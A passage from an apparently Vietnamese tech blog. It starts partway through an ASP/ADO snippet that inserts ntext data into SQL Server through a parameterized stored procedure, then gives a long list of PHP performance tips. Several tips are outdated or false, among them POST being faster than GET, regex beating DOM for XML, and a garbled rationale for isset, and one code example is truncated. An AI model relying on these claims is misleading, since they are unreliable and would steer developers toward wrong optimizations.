.Parameters.Append .CreateParameter(''@RETURN_VALUE'', adInteger, adParamReturnValue,0)
.Parameters.Append .CreateParameter(''@ReplyToID'', adInteger, adParamInput, , msPostID)
.Parameters.Append .CreateParameter(''@fk_author_id'', adInteger, adParamInput, , clng(Session(''intMemberID'')))
.Parameters.Append .CreateParameter(''@fk_interest_id'', adInteger, adParamInput, , msInterestID)
.Parameters.Append .CreateParameter(''@subject'', adVarWChar, adParamInput, 50, msSubject)
.Parameters.Append .CreateParameter(''@bodytext'', adVarWChar, adParamInput, 1073741823, msBodyText)
.Execute lRecs, , adExecuteNoRecords
End With
moADOCon.Close
Set moADOCom = nothing
Set moADOCon = nothing

Theo diễn đàn tin học
Nguồn : Thêm dữ liệu vào trong một trường nText vào SQL Server

Mẹo cải thiện tốc độ cho PHP

Sau đây là một số mẹo nhỏ cải tiện tốc độ cho PHP mời bạn đọc tham khảo
- Nếu có thể khai báo hàm tĩnh thì có thể tăng tốc độ lên 4 lần.
- Echo thì nhanh hơn Print.

- Sử dụng nhiều câu lệnh Echo thay vì Echo 1 chuỗi nối vào nhau.

- Đặt giá trị lớn nhất cho vòng lặp for trước, và ko đặt trong vòng lặp for.

- Hủy các biến bằng hàm unset() để giải phóng bộ nhớ sau khi sử dụng, đặc biệt là những mảng lớn.

- Tránh dùng các định nghĩa kiểu: __get, __set, __autoload.

- Tránh dùng hàm require_once().

- Sử dụng đường dẫn đầy đủ trong includes và requires.

- Nếu cần tính thời gian lúc code được thực thi, thì nên dùng $_SERVER['REQUEST_TIME'] thay vì time().

- Chú ý sử dụng các hàm strncasecmp, strpbrk and stripos thay vì regex.

- Str_replace thì nhanh hơn preg_replace nhưng mà strtr thì nhanh hơn str_replace 4 lần.

- Tốt hơn nên dùng câu lệnh Select hoặc Switch thay vì nhiều câu lệnh if, else.

- Các biến lỗi sử dụng @ thì rất chậm.

- Bật Apache mod_deflate.

- Đóng kết nối DB sau khi dùng xong.

- $row[‘id'] thì nhanh gấp 7 lần $row[id].

- Hạn chế gửi Error messeage.

- Không dùng các hàm khi khai báo vòng lặp. Ví dụ: for($x=0; $x

- Sử dụng biến cục bộ trong hàm thì nhanh hơn.

- Sử dụng biến toàn cục thì chậm hơn 2 lần so với dùng biết cục bộ.

- Sử dụng biến cục bộ ko được định nghĩa thì chậm hơn 9-10 lần biến được định nghĩa trước.

- Định nghĩa biến toàn cục mà không sử dụng trong hàm thì cũng chậm hơn.

- Hàm được triệu gọi thì độc lập với các hàm ở trong lớp định nghĩa nó. Ví dụ sau khi sử dụng gọi hàm đó, ta định nghĩa thêm vào vào lớp chứa hàm đó, thì tốc độ performance không thay đổi.

- Hàm được định nghĩa từ lớp thì chạy nhanh hơn hàm định nghĩa từ lớp cơ sở.

- Hàm có 1 tham số hoặc hàm có body rỗng thì tương đương với thực thi 7-8 lần phép toán $localvar++. Một hàm bình thường thì tương đương 15 lần phép toán $localvar++.

- Nếu khai báo chuỗi mà không có biến ở trong thì sử dụng ‘’ sẽ nhanh hơn dùng “”.

- Khi dùng Echo thì dùng phân cách bằng dấu , sẽ nhanh hơn bằng dấu .

- Đoạn mã PHP thực thi thì sẽ chậm hơn 2-10 lần so với trang HTML tĩnh khi chạy Apache.

- Mã PHP được biên dịch lại mỗi lần, trừ khi các đoạn mã được cache. Cài đặt các sản phẩm cache PHP cơ bản để tăng hiệu suất từ 25-100% qua việc giảm số lần biên dịch lại.

- Cách với tất cả khả năng có thể. Memcache là hệ thống cache đối tượng với hiệu suất cao để tăng tốc các ứng dụng web động bằng việc giảm số lần truy suất DB. Opcode cache thì rất hữu ích, giúp các đoạn mã không phải biên dịch lại sau mỗi lần request.

- Dùng trick để tính độ dài của chuỗi bằng hàm isset thay vì sử dụng hàm strlen().

Ví dụ:
1 if (strlen($foo) < 5) { echo ”Foo is too short”; }
2 if (!isset($foo{5})) { echo ”Foo is too short”; }

Dùng hàm isset() sẽ nhanh hơn dùng strlen() vì isset() sẽ không tính toán trường hợp lowercase.

- Viết ++$i thay cho $i++ sẽ nhanh hơn (3 opcodes so với 4).

- Không phải mọi thứ đều dùng hướng đối tượng, sẽ tốn bộ nhớ.

- Không phải cài đặt mọi dữ liệu bằng lớp, có thể dùng mảng cũng hữu ích.

- Không nên chia ra quá nhiều hàm, tận dụng sử dụng lại code.

- Sử dụng các hàm được định nghĩa trước.

- Profile code sẽ giúp ta có cái nhìn tổng quan nếu có hiện tượng thắt cổ chai.

- mod_gzip có sẵn trong module Apache sẽ nén dữ liệu, và giảm dữ liệu truyền đi tới 80%.

- Sử dụng foreach để duyệt các mảng, các tập. Các phần tử PHP4 là theo giá trị, hay hơn nhiều so với theo tham chiếu ở PHP5.

- Sử dụng mẫu thiết kế Singleton với các lớp PHP phức tạp.

- Sử dụng POST thay cho GET với tất cả các giá trị vì lý do performance của TCP/IP.

- Sử dụng các hàm kiểm tra kiểu dữ liệu thay vì dùng Biểu thức chính quy (Regular Expression).

- Dùng include/require thay cho include once/require once để đảm bảo opcode cache.

- Dùng proxy để truy cập các Web Services (XML hay JSON) từ các tên miền nước ngoài dùng XMLHTTP để tránh lỗi cross-domain.

- Dùng thông báo lỗi (E_ALL) trong quá trình debug.

- Đặt allowoverride của Apache là “none ” để cải thiện performance khi truy cập file/ thư mục.

- Dùng một fileserver nhanh để chạy nội dung tĩnh (thttpd). Ví dụ: static.domain.com.

- Hạn chế dùng các câu SQL: SELECT *.

- Dùng các phép logic database: queries, joins, views, procedures.

- Khởi tạo các biến trước khi sử dụng.

- Dùng đường dẫn đầy đủ thay vì đường dẫn tương đối.

- Tăng 1 thuộc tính của đối tượng thì chậm hơn việc dùng biến cục bộ 3 lần. ($this->prop++).

- Khi xử lý dữ liệu XML, sử dụng Regular Expression thì nhanh hơn dùng DOM hoặc SAX.

- Dùng tham chiếu làm tham số cho hàm thì nhanh hơn dùng tham số bình thường.

- Dùng INSERT DELAYED nếu như ko cần biết thời gian đưa dữ liệu vào.

- Dùng multiple-row INSERT để INSERT nhiều dữ liệu bằng 1 câu Query.

Theo thegioimanguon.com

Nguồn : Mẹo cải thiện tốc độ cho PHP